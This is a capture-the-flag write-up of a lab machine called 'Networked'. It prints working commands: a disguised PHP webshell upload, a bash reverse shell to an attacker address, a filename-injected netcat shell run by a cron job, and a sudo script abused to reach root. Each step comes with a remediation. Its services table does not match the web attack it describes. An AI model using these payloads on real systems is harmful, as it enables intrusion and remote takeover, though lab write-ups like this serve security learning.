Networked
Summary
I discovered a PHP file-upload page whose only validation was file extension and MIME type. By uploading a PHP webshell renamed with a double extension (shell.php.png) and a GIF magic-byte header, both checks were bypassed and the Apache server executed the embedded PHP code.
A cron job owned by a local user (guly) processed filenames in the uploads directory by passing them to a shell call without any sanitisation, so a file whose name contained a semicolon followed by a shell command ran arbitrary code as that user. Finally, guly held a passwordless sudo right to a network-configuration script that sourced interface parameters verbatim as shell variables; injecting a command into the NAME prompt escalated privileges to root.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p- --min-rate 3000 $TARGET -oN nmap_full.txtgobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -o gobuster.txtExact commands 3
printf 'GIF89a;\n<?php system($_GET["cmd"]); ?>' > shell.php.pngcurl -s -F 'myFile=@shell.php.png;type=image/gif' -F 'submit=go' http://$TARGET/upload.phpcurl -s "http://$TARGET/uploads/shell.php.png?cmd=id"FixValidate uploaded file content and serve uploads from a PHP-execution-free locationCritical
Exact commands 2
nc -lvnp 4444curl -s -G "http://$TARGET/uploads/shell.php.png" --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"'Exact commands 3
touch "/var/www/html/uploads/;nc $ATTACKER_IP 4445 -e /bin/bash .php"nc -lvnp 4445cat /home/guly/user.txtFixSanitise filenames before passing them to shell calls in check_attack.phpHigh
Exact commands 3
sudo -lsudo /usr/local/sbin/changename.shid && cat /root/root.txtFixRemove or harden the passwordless sudo right to changename.shCritical
Exposed services
| 445/tcp | microsoft-ds? |
| 4386/tcp | unknown |